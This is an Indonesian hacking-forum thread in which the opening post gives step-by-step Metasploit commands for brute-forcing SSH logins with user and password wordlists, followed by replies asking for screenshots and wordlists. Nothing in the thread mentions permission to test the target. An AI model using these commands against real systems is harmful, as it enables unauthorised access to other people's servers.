[abdee_dillah$]

Assalamualikum teman-teman moga makin ganteng semuanya, oke gak usah lama-lama kali ini saya ingin berbagi teknik ssh brute force attack, namun kali ini saya menggunkan Metasploit sebagai toolsnya, sebelum melakukan brute force sebaiknya scan target terlebih dahulu apakah port ssh pada target status OPEN[nmap,zenmap etc] dan kemudian siapakan user list dan password list yang akan kita configurasikan dengan metasploit
setelah mempersipkan user list dan password list kemudian simpan file difolder yang diinginkan. Selanjutnya jalankan metasploit console dan ketikan perintah berikut

Code:

msf> use auxiliary/scanner/ssh/ssh_login
msf  auxiliary(ssh_login) > set RHOSTS [IP target]
RHOSTS => [IP target]
msf  auxiliary(ssh_login) > set USER_FILE /root/user
USER_FILE => /root/user
msf  auxiliary(ssh_login) > set PASS_FILE /root/pass
PASS_FILE => /root/pass
msf  auxiliary(ssh_login) > run

berikut hasil brute force


oke sekian dulu
http://www.abdesignerweb.com/blog/2013/0...metasploit
sumber : http://www.metasploit.com/

[[H2]]

maap om masih kurang ngerti sane, yg dicenteng warna merah itu apa ya

[Elfnine-x3]

om... klo bisa ada SS langkah2nya om... soalx ane msh bingung tiba2 ada ss hasilx ^^..

[iKONspirasi]

wah berarti harus punya file wordlist user sama pass yg gede nih

thx udah share disini, cek kulkas

[abdee_dillah$]

maap om masih kurang ngerti sane, yg dicenteng warna merah itu apa ya

tanda panah yang merah ada pada gambar om?itu tingkatannya om..ada yg hanya user ada juga adm(admin)

om... klo bisa ada SS langkah2nya om... soalx ane msh bingung tiba2 ada ss hasilx ^^..

masih bingung dimananya om?kan om tingal scan targetnya pake nmap dll, trus buka msfconsol, jalanin deh perintah diatas

wah berarti harus punya file wordlist user sama pass yg gede nih

thx udah share disini, cek kulkas

trimkasih om iKONs

[Acenk90]

wooh..., mantap om.., nice post..., thanks ya :-bd
+1 dari ane

[joyosuicide]

Nice inpoh om..^_^
mau praktekin aah..

[greatzsaint]

kalo boleh tau,bisa dijelaskan maksud dari command-commandnya mas ? saya baru belajar
oh iya,mau tanya juga soal wordlist...klo misal password dari user tadi unik dan nggak ada di dalam wordlist apa ada cara lain untuk melakukan teknik ini ?

[Unregistered$]

weh.. share wordlist buat user+pass nya juga dong om yg lengkap yah
nice share kalo nyobain bruteforce tanpa wordlist bisa kagak yah ? kalo bis brp lama ?

[hamdan_zenith]

share wordlistnya donk om.. hehehe belum ada wordlist nii.. mau nyoba jg